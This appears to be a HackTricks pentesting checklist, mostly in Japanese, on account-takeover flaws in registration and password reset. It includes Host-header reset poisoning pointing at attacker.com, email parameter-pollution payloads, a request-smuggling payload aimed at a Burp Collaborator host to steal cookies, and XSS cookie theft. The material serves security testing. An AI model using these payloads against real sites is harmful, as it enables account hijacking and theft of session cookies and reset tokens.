Registration & Takeover Vulnerabilities

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

登録乗っ取り

重複登録

  • 既存のユーザー名を使用して生成を試みる

  • メールアドレスを変えて確認する:

  • 大文字

  • +1@

  • メールにドットを追加する

  • メール名に特殊文字を含める (%00, %09, %20)

  • メールの後に黒い文字を入れる:test@test.com a

  • victim@gmail.com@attacker.com

  • victim@attacker.com@gmail.com

ユーザー名列挙

アプリケーション内でユーザー名がすでに登録されているかどうかを確認できるかチェックする。

パスワードポリシー

ユーザーを作成する際にパスワードポリシーを確認する(弱いパスワードを使用できるか確認する)。 その場合、資格情報をブルートフォース攻撃することを試みるかもしれない。

SQLインジェクション

このページを確認して、アカウントの乗っ取りを試みたり、登録フォームを通じて情報を抽出する方法を学ぶ。

Oauth乗っ取り

OAuth to Account takeover

SAML脆弱性

SAML Attacks

メール変更

登録後、メールを変更して、この変更が正しく検証されるか、任意のメールに変更できるか確認する。

その他のチェック

  • 使い捨てメールを使用できるか確認する

  • 長い パスワード (>200) は DoS を引き起こす

  • アカウント作成のレート制限を確認する

  • username@burp_collab.netを使用し、コールバックを分析する

パスワードリセット乗っ取り

リファラー経由のパスワードリセットトークン漏洩

  1. 自分のメールアドレスにパスワードリセットをリクエストする

  2. パスワードリセットリンクをクリックする

  3. パスワードを変更しない

  4. 任意の3rdパーティのウェブサイト(例:Facebook、Twitter)をクリックする

  5. Burp Suiteプロキシでリクエストを傍受する

  6. リファラーヘッダーがパスワードリセットトークンを漏洩しているか確認する。

パスワードリセットポイズニング

  1. Burp Suiteでパスワードリセットリクエストを傍受する

  2. Burp Suiteで次のヘッダーを追加または編集する:Host: attacker.com, X-Forwarded-Host: attacker.com

  3. 修正されたヘッダーでリクエストを転送する http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com

  4. _hostヘッダー_に基づいてパスワードリセットURLを探す:https://attacker.com/reset-password.php?token=TOKEN

メールパラメータ経由のパスワードリセット

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. 攻撃者は自分のアカウントでログインし、パスワード変更機能に移動する必要があります。

  2. Burp Suiteを起動し、リクエストをインターセプトします。

  3. リピータタブに送信し、パラメータを編集します:ユーザーID/メール powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。 トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムによって使用される可能性があります。

  • タイムスタンプ

  • ユーザーID

  • ユーザーのメール

  • 名と姓

  • 生年月日

  • 暗号化

  • 数字のみ

  • 小さなトークンシーケンス(文字は[A-Z,a-z,0-9]の間)

  • トークンの再利用

  • トークンの有効期限

Leaking Password Reset Token

  1. 特定のメール(例:test@mail.com)を使用してAPI/UIからパスワードリセットリクエストをトリガーします。

  2. サーバーの応答を検査し、resetTokenを確認します。

  3. 次に、トークンをURLに使用します:https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. 被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:"admin "

  2. 悪意のあるユーザー名でパスワードリセットをリクエストします。

  3. あなたのメールに送信されたトークンを使用して、被害者のパスワードをリセットします。

  4. 新しいパスワードで被害者のアカウントに接続します。

プラットフォームCTFdはこの攻撃に対して脆弱でした。 参照:CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. アプリケーション内またはサブドメイン内でXSSを見つけます。クッキーが親ドメインにスコープされている場合:*.domain.com

  2. 現在のセッションクッキーを漏洩させます。

  3. クッキーを使用してユーザーとして認証します。

Account Takeover Via HTTP Request Smuggling

1. smugglerを使用してHTTPリクエストスムグリングのタイプ(CL、TE、CL.TE)を検出します。 powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h 2. 次のデータでPOST / HTTP/1.1を上書きするリクエストを作成します: GET http://something.burpcollaborator.net HTTP/1.1 X: 被害者をburpcollabにオープンリダイレクトし、クッキーを盗むことを目的としています。 3. 最終リクエストは次のようになります。

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackeroneはこのバグを悪用した報告をしています * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666

CSRFによるアカウント乗っ取り

  1. CSRF用のペイロードを作成します。例: “パスワード変更のための自動送信HTMLフォーム”

  2. ペイロードを送信します

JWTによるアカウント乗っ取り

JSON Web Tokenはユーザーを認証するために使用されることがあります。

  • 別のユーザーID / メールでJWTを編集します

  • 弱いJWT署名を確認します

JWT Vulnerabilities (Json Web Tokens)

参考文献

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated